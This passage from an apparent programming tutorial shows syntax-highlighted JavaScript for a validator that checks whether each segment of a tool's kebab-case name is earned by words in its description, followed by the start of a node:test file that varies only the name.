&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { text, tokens: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Set&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(words) };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// A piece is earned if it prefixes a described word (&quot;repo&quot; of &quot;repository&quot;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// or extends one (&quot;logger&quot; from &quot;log&quot;). Only a stem of MIN_STEM or more may be&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// extended, or every three-letter fragment starts spelling names.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; earned&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(piece, tokens) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; t &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tokens) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (t.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;startsWith&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(piece)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (t.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; MIN_STEM &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; piece.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;startsWith&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(t)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Can this segment be spelled entirely out of pieces the text earns?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Word-break reachability: reachable[i] means &quot;segment[0..i) is spellable&quot;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; covers&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(segment, text, tokens) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; n &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; segment.length;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; reachable &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Array&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(n &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;fill&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  reachable[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; n; i&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;reachable[i]) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; j &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; j &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; n; j&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; piece &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; segment.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(i, j);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (piece.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; expansion &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ABBREVS[piece];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;expansion &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;text.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(expansion)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(ROLE_WORDS.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;has&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(piece) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; earned&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(piece, tokens))) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        continue&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      reachable[j] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; reachable[n];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; nameCoverage&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name, spec) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { text, tokens } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; vocabulary&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(spec);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; uncovered &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;-&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(Boolean)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((segment) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;covers&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(segment, text, tokens));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: uncovered.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, uncovered };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; validate&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(spec) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; problems &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/^[a-z][a-z0-9-]{1,30}$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(spec.name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    problems.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ field: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, why: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;must be lowercase kebab, 2-31 chars&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok, uncovered } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; nameCoverage&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(spec.name, spec);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;ok) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      problems.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        field: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        why: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&quot;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;uncovered&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&quot;, &quot;&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot; appears nowhere in what this says it does`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;spec.summary &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; spec.summary.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 20&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    problems.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ field: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;summary&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, why: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;needs a one-line summary&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: problems.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, problems };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;nameCoverage&lt;/code&gt; returns the uncovered segments rather than a boolean, which is what lets the error say &lt;em&gt;which&lt;/em&gt; part of the name is unearned. “smith appears nowhere in what this says it does” tells an author what to change; “invalid name” does not.&lt;/p&gt;
&lt;h2&gt;Pin it with a trap that can only fail one way&lt;/h2&gt;
&lt;p&gt;Now the part that decides whether this check is still working in a year.&lt;/p&gt;
&lt;p&gt;The obvious test is “a metaphor name is rejected”. That test passes for the wrong reason the moment any unrelated rule tightens, because a spec that fails for a missing summary also fails. This is the same blind spot &lt;a href=&quot;https://stryker-mutator.io/docs/&quot;&gt;mutation testing&lt;/a&gt; exists to expose: coverage tells you a line ran, not that anything checked it, and a surviving mutant “might indicate your tests do not sufficiently cover the code.”&lt;/p&gt;
&lt;p&gt;Two properties fix it. Hold every field constant except the name, so a difference can only be about the name. And assert &lt;strong&gt;which field&lt;/strong&gt; the failure landed on. Save this as &lt;code&gt;naming.test.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { test } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:test&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; assert &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:assert/strict&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { nameCoverage, validate } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./namecheck.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// One spec. The ONLY thing that varies between cases is the name, so a failure&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// can only be about the name.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SPEC &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  summary: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Counts what a repository owes you: open pull requests, stale branches, unreleased commits.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  description:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &apos;Use when someone asks &quot;what is unreleased&quot;, &quot;how many open PRs&quot;, or wants a repository backlog count.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  oneRule: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Never report a count it did not read from the repository itself.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
